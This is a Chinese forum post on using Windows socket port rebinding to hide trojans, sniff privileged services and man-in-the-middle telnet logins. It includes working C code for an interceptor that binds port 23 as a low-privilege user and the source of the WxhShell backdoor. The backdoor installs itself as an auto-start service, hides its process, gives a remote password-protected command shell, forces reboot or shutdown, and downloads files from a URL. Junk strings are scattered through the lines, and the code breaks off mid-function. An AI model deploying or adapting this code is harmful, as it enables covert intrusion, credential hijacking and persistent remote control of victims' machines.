社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14093阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ji&%'h  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4#MPD  
,f[`C-\Q%  
  saddr.sin_family = AF_INET; 3* v&6/K  
C"gH>G  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gP 13n!7  
3g{T+c*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;^"#3_7T]  
 BH<jnQ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ozCH1V{p  
cns~)j~  
  这意味着什么?意味着可以进行如下的攻击: ]di^H>,xU  
4WAs_~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j,Vir"-)  
Fr|Ts>Kx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) # o;\5MOE%  
(fTi1 I!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 p]]*H2UD  
A8zh27[w%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N E/_  
us,~<e0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |eu:qn8  
E*W|>2nx]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JYesk  
9aa cW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 6?(Z f  
(+x!wX( x  
  #include (p1}i::Y8  
  #include ExW3LM9(  
  #include Vz\?a8qQ<  
  #include    .1q4Q\B<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .Bs~FIe^  
  int main() c_N'S_)~7Q  
  { ;;]^d_  
  WORD wVersionRequested; !uxma~ZH-  
  DWORD ret; A.|98*U%  
  WSADATA wsaData; z]V%&f  
  BOOL val; r;"uk+{i  
  SOCKADDR_IN saddr; *?`<Ea  
  SOCKADDR_IN scaddr; \Um &  
  int err; O={ ?c1i:  
  SOCKET s; xE"QX N  
  SOCKET sc; FWb`F&  
  int caddsize; uJ:SN;  
  HANDLE mt; },& =r= B  
  DWORD tid;   |%tI!RN):  
  wVersionRequested = MAKEWORD( 2, 2 ); SmMJ%lgA6  
  err = WSAStartup( wVersionRequested, &wsaData ); 7,!$lT#  
  if ( err != 0 ) { x3C^S~  
  printf("error!WSAStartup failed!\n"); |EpL~ G_  
  return -1; V.?Oly  
  } RHj<t");  
  saddr.sin_family = AF_INET; &f"kWOe$X  
   km=d'VvnI  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Eo@b)h  
CW . O"_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 79y'PFSms  
  saddr.sin_port = htons(23); 0,M1Q~u%.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uupfL>h  
  { 0XLoGQ=  
  printf("error!socket failed!\n"); #*v:.0%  
  return -1; ?,AWXiif  
  } SQhw |QdG  
  val = TRUE; T/YvCbo  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AZ'"Ua  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K."h}f95  
  { .CAcG"42  
  printf("error!setsockopt failed!\n"); QP={b+8  
  return -1; yrCY-'%  
  } :h!&.FB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;R4qE$u2^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 bi<?m^j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 eI:;l];G9  
:WM[[LOaC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) --'!5)U  
  { bKb}VP  
  ret=GetLastError(); kfQi}D'a  
  printf("error!bind failed!\n"); x/]]~@:  
  return -1; ](tv`1A,Wd  
  } ecqL;_{o  
  listen(s,2); iI@m e=  
  while(1) {T(z@0Xu  
  { O<}KrmUC~  
  caddsize = sizeof(scaddr); 7TaHE   
  //接受连接请求 Hp1n*0%dZ&  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); F =Zc_  
  if(sc!=INVALID_SOCKET) d :%!)s  
  { *0!IHr"fn  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <7X6ULQ  
  if(mt==NULL) SBog7An9SI  
  { y'21)P  
  printf("Thread Creat Failed!\n"); #CcWsI>+w>  
  break; :,*{,^2q:  
  } u ^Ss8}d  
  } |j> fsk~  
  CloseHandle(mt); f!D~aJ  
  } 'du{ky  
  closesocket(s); |`c=`xK7'  
  WSACleanup(); n>##,o|Vr#  
  return 0; r[votdFo  
  }   ~L3]Wa.  
  DWORD WINAPI ClientThread(LPVOID lpParam) @, %IVKg\  
  { 18{" @<wIs  
  SOCKET ss = (SOCKET)lpParam; o9 g0fC  
  SOCKET sc; |-! yKB  
  unsigned char buf[4096]; idLCq^jnJ  
  SOCKADDR_IN saddr; *5Aq\g,n  
  long num; rZSX fgfr  
  DWORD val; -)dS`hM  
  DWORD ret; Lr;PESV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lMW4SRk1C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yw{;Qm2\7  
  saddr.sin_family = AF_INET; |v?*}6:a  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pQ/ bIuq  
  saddr.sin_port = htons(23); #nS[]UbwZ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _5l3e7YN  
  { xZpGSlA  
  printf("error!socket failed!\n"); [7|j:!  
  return -1; { kF"<W  
  } Rd|xw%R\mb  
  val = 100; fD:>cje  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /'uFX,  
  { SPEDN}/^  
  ret = GetLastError(); /N?vVp  
  return -1; v<SCh)[-p  
  } tM&;b?bJ[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oyt#CHX  
  { wNt-mgir-Q  
  ret = GetLastError(); Ei& Z  
  return -1; &8^ch,+pD  
  } wg0hm#X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Dw-i!dq  
  { kV$$GLD\  
  printf("error!socket connect failed!\n"); Ohe* m[  
  closesocket(sc); L^Q q[>  
  closesocket(ss); rh%-va9  
  return -1; XDM~H  
  } H.R7,'9  
  while(1) 2B<0|EGtzw  
  { ' +*,|;?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  SK&?s`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H;(|&Asq>  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 JRT,%;*,  
  num = recv(ss,buf,4096,0); *k%3J9=-1  
  if(num>0) e9e7_QG_-  
  send(sc,buf,num,0); $GcVI ;a  
  else if(num==0) v *UJ4r  
  break; LsGu-Y 5^  
  num = recv(sc,buf,4096,0); _8;)J  
  if(num>0) $hM>%u  
  send(ss,buf,num,0); n;+e(ob;;  
  else if(num==0) O"Ua|8  
  break; #vnJJ#uI|>  
  } KE k]<b=  
  closesocket(ss); E 02l=M  
  closesocket(sc); gY=Ry=w9  
  return 0 ; SFdSA4D"  
  } X8Ld\vZYn  
X|3l*FL  
-jJw wOm  
========================================================== <GthJr>1D  
vxrRkOU1  
下边附上一个代码,,WXhSHELL 5|^{t00T~  
 #Lq{_Y  
========================================================== ^%<t^sE  
!"e~HZmr  
#include "stdafx.h" }[%d=NY  
])YGeY(V0+  
#include <stdio.h> m=7Z8@sX},  
#include <string.h> vKCgtk  
#include <windows.h> J|D$  
#include <winsock2.h> ZKT~\l  
#include <winsvc.h> "BAH=ul5E  
#include <urlmon.h> V7qc9Gd@I  
QxjX:O  
#pragma comment (lib, "Ws2_32.lib") nR()ei^X  
#pragma comment (lib, "urlmon.lib") /e0cx:.w  
\h&ui]V  
#define MAX_USER   100 // 最大客户端连接数 :1O1I2L0  
#define BUF_SOCK   200 // sock buffer /V% ]lmxQ  
#define KEY_BUFF   255 // 输入 buffer Z;XiA<|  
AvNU\$B4aG  
#define REBOOT     0   // 重启 <P"4Mk7`s  
#define SHUTDOWN   1   // 关机 ;& PK6G  
yXdJ5Me(T  
#define DEF_PORT   5000 // 监听端口 G L> u3K  
5cza0CriJ  
#define REG_LEN     16   // 注册表键长度 Qn*a#]p  
#define SVC_LEN     80   // NT服务名长度  p@se 5~  
`Rc7*2I)l  
// 从dll定义API d*A(L5;@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [3#A)#kWm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dT9ekNQB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ctzaqsr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }}VB#   
jD eNCJ  
// wxhshell配置信息 %%w/;o!c  
struct WSCFG { S _B $-H|  
  int ws_port;         // 监听端口 tKik)ei  
  char ws_passstr[REG_LEN]; // 口令 UI,i2<&  
  int ws_autoins;       // 安装标记, 1=yes 0=no *Ugtg9j  
  char ws_regname[REG_LEN]; // 注册表键名 xq2 ,S  
  char ws_svcname[REG_LEN]; // 服务名 ca!=D $  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v\UwL-4[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?5oeyBA@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q.8)_w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $YM6}D@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +C(v4@=nd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4p %=8G|  
rkW2_UTZE  
}; !w[io;  
%!>~2=Q2*  
// default Wxhshell configuration FrXh\4C  
struct WSCFG wscfg={DEF_PORT, aB(6yBBoxj  
    "xuhuanlingzhe", [AZN a  
    1, nnZ|oEF  
    "Wxhshell", VTQxg5P c  
    "Wxhshell", /<Doe SDJ|  
            "WxhShell Service", TyCMZsvM,  
    "Wrsky Windows CmdShell Service", d/57;6I_  
    "Please Input Your Password: ", tv+H4/  
  1, N~%F/`Z<+  
  "http://www.wrsky.com/wxhshell.exe", ~alC5|wCUQ  
  "Wxhshell.exe" g`skmHS89  
    }; r9a?Y!(  
{[&_)AW6m%  
// 消息定义模块 +6xEz67A<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; dUTF0U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 73C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AV0C9a/td  
char *msg_ws_ext="\n\rExit."; 1f"LAs`%  
char *msg_ws_end="\n\rQuit."; ZXf^HK  
char *msg_ws_boot="\n\rReboot..."; w;;.bz m  
char *msg_ws_poff="\n\rShutdown..."; 3xJ_%AD\'  
char *msg_ws_down="\n\rSave to "; |^ao,3h#  
CS:mO |  
char *msg_ws_err="\n\rErr!"; "z^&>#F  
char *msg_ws_ok="\n\rOK!";  !lf:x  
9\|n2$H:  
char ExeFile[MAX_PATH]; -F+dRzxH  
int nUser = 0; "SuBtoK  
HANDLE handles[MAX_USER]; -n-rKN.T  
int OsIsNt; ;!CYp; _  
ydNcbF%K  
SERVICE_STATUS       serviceStatus; ;(kU:b|j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l+>&-lX'  
?T\m V}  
// 函数声明 39W6"^q"o  
int Install(void); v;9VX   
int Uninstall(void); 8%UI<I,  
int DownloadFile(char *sURL, SOCKET wsh); 2[\I{<2/9  
int Boot(int flag); n%Vt r  
void HideProc(void); qq&G~y  
int GetOsVer(void); rf%E+bh4  
int Wxhshell(SOCKET wsl); :>Gm&w (n  
void TalkWithClient(void *cs); ?s<'3I{F`  
int CmdShell(SOCKET sock); dnby&-+T  
int StartFromService(void); g2=5IU<  
int StartWxhshell(LPSTR lpCmdLine); %C]K`=vI-  
bBQ1 ~ R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HqW|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T5eXcI0t  
X^PR];V:$  
// 数据结构和表定义 0;Y|Ua[G+~  
SERVICE_TABLE_ENTRY DispatchTable[] = x+}6qfc$9k  
{ 4JTFdbx  
{wscfg.ws_svcname, NTServiceMain}, D3LW 49  
{NULL, NULL} 4MVa[ 0Y  
}; <uugT9By  
2VOdI  
// 自我安装 (9N75uCa  
int Install(void) ])= k";76  
{  *q8L$D  
  char svExeFile[MAX_PATH]; UQwLAXs  
  HKEY key; acWm+  
  strcpy(svExeFile,ExeFile); g+ik`q(ge  
y[*Bw)F\N  
// 如果是win9x系统,修改注册表设为自启动 !O=J8;oLk  
if(!OsIsNt) { Wmp,,H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U$J l5[`F^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nj*B-M\p  
  RegCloseKey(key); qY24Y   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { > Xq:?}-m2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "+js7U-  
  RegCloseKey(key); -f.<s!a  
  return 0; (;o,t?:d  
    } K8.=bGyg  
  } 4c2*)x$@  
} =kq!e  
else { z G {1;  
llbj-9OZL  
// 如果是NT以上系统,安装为系统服务 &Bbs\ ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a G^kL  
if (schSCManager!=0) a*d>WN.;U  
{ &v+8RY^F=  
  SC_HANDLE schService = CreateService DRLX0Ml]\  
  ( $=f,z>j  
  schSCManager, 0kI.d X)  
  wscfg.ws_svcname, `J h> 1l  
  wscfg.ws_svcdisp, TxYxB1C)  
  SERVICE_ALL_ACCESS, VJMn5v[V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , EPCu  
  SERVICE_AUTO_START, bQlShVJL  
  SERVICE_ERROR_NORMAL, @0q%&v0  
  svExeFile, Mg.xGST  
  NULL, L Ty [)  
  NULL, %,rUN+vW  
  NULL, +Io[o6*  
  NULL, NTk"W!<Cl2  
  NULL )o'&f"/  
  ); dZ&/Iz  
  if (schService!=0) 3F ;+ D  
  { (5%OAjW  
  CloseServiceHandle(schService); r%hnl9  
  CloseServiceHandle(schSCManager); }d2]QD#O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?d1H]f<M  
  strcat(svExeFile,wscfg.ws_svcname); T?W`g> yM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M0<gea\ =  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iWu$$IV?-  
  RegCloseKey(key); 2G8f4vsC[  
  return 0; o$>A;<  
    } J7BfH,o  
  } ~S)o ('  
  CloseServiceHandle(schSCManager); DCv~^  
} 3&kHAXzM  
} $-m`LF@  
6elmLDMni\  
return 1; p]uwGWDI  
} f)\ =LV  
`Td0R!  
// 自我卸载 w%Tcx^:  
int Uninstall(void) Wyf+xr'Ky  
{ | 1H"ya  
  HKEY key; h_4o4#  
4,kT4_&,  
if(!OsIsNt) { Z |uII#lq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 'G3B02*  
  RegDeleteValue(key,wscfg.ws_regname); %N@454enH  
  RegCloseKey(key); eN@V?G26K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N<$U:!Z  
  RegDeleteValue(key,wscfg.ws_regname); GMLq3_'  
  RegCloseKey(key); ]sJWiIe.  
  return 0; ;2 oR?COW  
  } NaC^q*>9  
} Wa%Zt*7  
} -tWkN^j8+  
else { ^1M:wX r  
oJy]n9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [^B04x@  
if (schSCManager!=0) I ;N)jj`b  
{ ~qm<~T_0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !L"3Otd  
  if (schService!=0) RQ# gn  
  { MNNPBE  
  if(DeleteService(schService)!=0) { GcQO&oq|  
  CloseServiceHandle(schService); s.]7c CY  
  CloseServiceHandle(schSCManager); <l(6$~(-u  
  return 0; q bb:)>  
  } A {lzQO  
  CloseServiceHandle(schService); G<,@|6"w  
  } dL'hC#!h  
  CloseServiceHandle(schSCManager); /j!?qID  
} Fxy-_%a  
} 306C_ M\$  
CXGq>cQ=d  
return 1; ?y!0QAIXK  
} Q@hx +aM  
^Humy DD6  
// 从指定url下载文件 P& C,EE$  
int DownloadFile(char *sURL, SOCKET wsh) E^_P  
{ x]lv:m\)jT  
  HRESULT hr; w1EYXe  
char seps[]= "/"; \"c;MK{  
char *token; $:w4_X5T  
char *file; S/& _  
char myURL[MAX_PATH]; 0f/=C9L  
char myFILE[MAX_PATH]; ,/{mRw%  
"0Uh(9Fv  
strcpy(myURL,sURL); sY!PXD0Q  
  token=strtok(myURL,seps); )Ac+5bs  
  while(token!=NULL) vr2tIKvpn  
  { D+d\<":  
    file=token; +Ck F#H ~  
  token=strtok(NULL,seps); Qfr%BQV  
  } rxjMCMF  
Mh>H5l.1i  
GetCurrentDirectory(MAX_PATH,myFILE); ufm`h)N  
strcat(myFILE, "\\"); $+)2CXQe5  
strcat(myFILE, file); _|rrl  
  send(wsh,myFILE,strlen(myFILE),0); u&1n~t`  
send(wsh,"...",3,0); )e|Cd} 2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4UmTA_& Io  
  if(hr==S_OK) 5F cKY_  
return 0; rVq=,>M9  
else T1c2J,+}R  
return 1; mw";l$Aq}  
C"_f3[Z  
} 8P.UB{QNe  
X6%w6%su5  
// 系统电源模块 [TvH7ott'1  
int Boot(int flag) X*VHi  
{ Xjc{={@p3  
  HANDLE hToken; Q3,`'[ F  
  TOKEN_PRIVILEGES tkp; _@jBz"aq\  
O79;tA<k  
  if(OsIsNt) { F@4XORO;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KB!.N[!v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $/5<f<%u&)  
    tkp.PrivilegeCount = 1; +ia  F$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SC)4u l%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V*xT5TljS-  
if(flag==REBOOT) { |rkj$s,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) iJuh1+6:c9  
  return 0; K-F@OSK'  
} TDXLxoC?  
else { Z W` Ur>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VQV7W  
  return 0; EL $"MT}p  
} 6*%3O=*  
  } AYHB?xOpR  
  else { FCTz>N^p  
if(flag==REBOOT) { z.n`0`^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Oi+(`  
  return 0; \dSMF,E  
} :D6"h[7  
else { xiuAW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |&+g,A _w  
  return 0; (qT_4b~  
} pe=Ou0  
} ).@8+}`  
evryk,x  
return 1; 1xg^;3m2  
} b;K>Q!(|  
I`w1IIY?m  
// win9x进程隐藏模块 !4d6wp"  
void HideProc(void) J;4x-R$W  
{ L+2!Sc,>  
pvM;2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); vAi NOpz#  
  if ( hKernel != NULL ) tyFhp:ZB  
  { E"!C3SC [  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dP[l$/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); itb0dF1G  
    FreeLibrary(hKernel); MJ'|$b}  
  } E;\XZ<E  
r1&b#r>  
return; -]c5**O}  
} }r^@Xh  
YgiwtZ5FY  
// 获取操作系统版本 o.U$\9MNP  
int GetOsVer(void) 5\1Z"?  
{ CZyOAoc<  
  OSVERSIONINFO winfo; ^G%Bj`%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qx CZ<|  
  GetVersionEx(&winfo); CL%?K<um  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /'?Fz*b  
  return 1; 6+"P$Ed#i  
  else |1J=wp)#  
  return 0; +RS>#zd/=  
} i>6SY83B}  
]X~;?>#:p  
// 客户端句柄模块 <S I& e/  
int Wxhshell(SOCKET wsl) .QOQqU*2I  
{ :"? boA#L  
  SOCKET wsh; GgkljF@{}  
  struct sockaddr_in client; GczGW4\P'  
  DWORD myID; U*F|Z4{W  
INSI$tA~  
  while(nUser<MAX_USER) -\:#z4Tc  
{ Q# xeu  
  int nSize=sizeof(client); 'SF+P)Kmz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A3ad9?LR[R  
  if(wsh==INVALID_SOCKET) return 1; FSv')`}  
a6=mE?JTB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Vr/UbgucJ  
if(handles[nUser]==0) JPL8fX-w  
  closesocket(wsh); lQQXV5NV  
else X.<_TBos|  
  nUser++; b2c% 0C  
  } Ry*NRP;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -}|GkTM  
|qbCmsY5/  
  return 0; i$[wgvJIV  
} W Da;wt  
I7b(fc-r  
// 关闭 socket ZxkX\gl91  
void CloseIt(SOCKET wsh) ,t5X'sY L  
{ *9)7.} uY  
closesocket(wsh); 'Y3>+7bI  
nUser--; _.0c~\VA  
ExitThread(0); 3n9$qr= '  
} p'1n'|$e  
E 5}T_~-{  
// 客户端请求句柄 @-~YQ@08`  
void TalkWithClient(void *cs) en>d  T  
{ 8[5%l7's  
*9e T#dH  
  SOCKET wsh=(SOCKET)cs; AfW63;kH  
  char pwd[SVC_LEN]; 8=ubMqr[  
  char cmd[KEY_BUFF];  !J!zi  
char chr[1]; vc o/h  
int i,j; I!lzOg4~  
 SzkF-yRd  
  while (nUser < MAX_USER) { )%%RI_J T  
KY/}jJW  
if(wscfg.ws_passstr) { J'^s5hxn+0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5} |O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2{c ;ELq  
  //ZeroMemory(pwd,KEY_BUFF); %~P]x7%|  
      i=0; >|SB]'C|  
  while(i<SVC_LEN) { 2#&9qGR  
hABC rd Em  
  // 设置超时 P$_Y:XI !  
  fd_set FdRead; !3Fj`Oh  
  struct timeval TimeOut; "{;]T  
  FD_ZERO(&FdRead); AWC zu5ve  
  FD_SET(wsh,&FdRead); ^T"9ZBkb  
  TimeOut.tv_sec=8; Ne*I$T 5  
  TimeOut.tv_usec=0; xjOy3_Js  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bT-(lIU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J]ivIQ  
AC3K*)`E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (u85$_C  
  pwd=chr[0]; K1uN(T.Ju  
  if(chr[0]==0xd || chr[0]==0xa) { 6,M>'s,N  
  pwd=0; ==(9P`\  
  break; 7|PpAvMF  
  } nS[0g^}  
  i++; b_ Sh#d&  
    } 0TU~Q  
udB:ys  
  // 如果是非法用户,关闭 socket nk9hQRP? 8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u,[Yaw"L  
} |GE3.g  
o*97Nbjn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h *)spwF-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? Ldw\  
&5/`6-K  
while(1) { g#`(& k  
qRsPi0;  
  ZeroMemory(cmd,KEY_BUFF); Q6Q>b4 .3  
R6dw#;6{I  
      // 自动支持客户端 telnet标准   rgILOtk[  
  j=0; * b>W  
  while(j<KEY_BUFF) { |Z6rP-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T :CsYj1  
  cmd[j]=chr[0]; $f>Mz|j  
  if(chr[0]==0xa || chr[0]==0xd) { W-=~Afy  
  cmd[j]=0; : QSlctW  
  break; CZE5RzG  
  } t)g1ICt  
  j++; Zb-TCS+3l  
    } &9PzBc  
MUz.-YRt  
  // 下载文件 oLk>|J  
  if(strstr(cmd,"http://")) { a}`4BMi3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +^<CJNDL9  
  if(DownloadFile(cmd,wsh)) hF+YZU]rT  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \l_RyMi  
  else .rSeJZzuj  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~CldqXeI  
  } 2i', e  
  else { #^<7VS!x  
N::_JH? ^=  
    switch(cmd[0]) { nXK"BYe  
  5ejdf  
  // 帮助 *gHOH!K,S  
  case '?': { BMU~1[r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~FH''}3:3  
    break; X55Eemg/  
  } E& T9R2Y  
  // 安装 *La*j3|:  
  case 'i': { dGQxGt1  
    if(Install()) 8^p/?R^bu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kr=DoQ."d8  
    else N:0/8jmmO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nk1(/~`  
    break; 9%oLv25{)  
    } 82Nh;5T r  
  // 卸载 f'Wc_ L)  
  case 'r': { Z4}Yw{=f  
    if(Uninstall()) Y[$[0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RmO-".$yt  
    else c;w cgU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y%p"RB[  
    break; 4a>z]&s  
    } !OPK?7   
  // 显示 wxhshell 所在路径 $q DH  
  case 'p': { Gw!jYnU  
    char svExeFile[MAX_PATH]; W6&" .2  
    strcpy(svExeFile,"\n\r"); [:a;|t  
      strcat(svExeFile,ExeFile); :~:(49l  
        send(wsh,svExeFile,strlen(svExeFile),0); Y1{6lhxgE  
    break; Cv{rd##Y8  
    } ma~WJ0LM\  
  // 重启 y_qFXd  
  case 'b': { U?>P6p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !-x^b.${B  
    if(Boot(REBOOT)) VyCBJK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .zlUN0oe  
    else { N-3w)23*:  
    closesocket(wsh); h_?D%b~5  
    ExitThread(0); h\C  
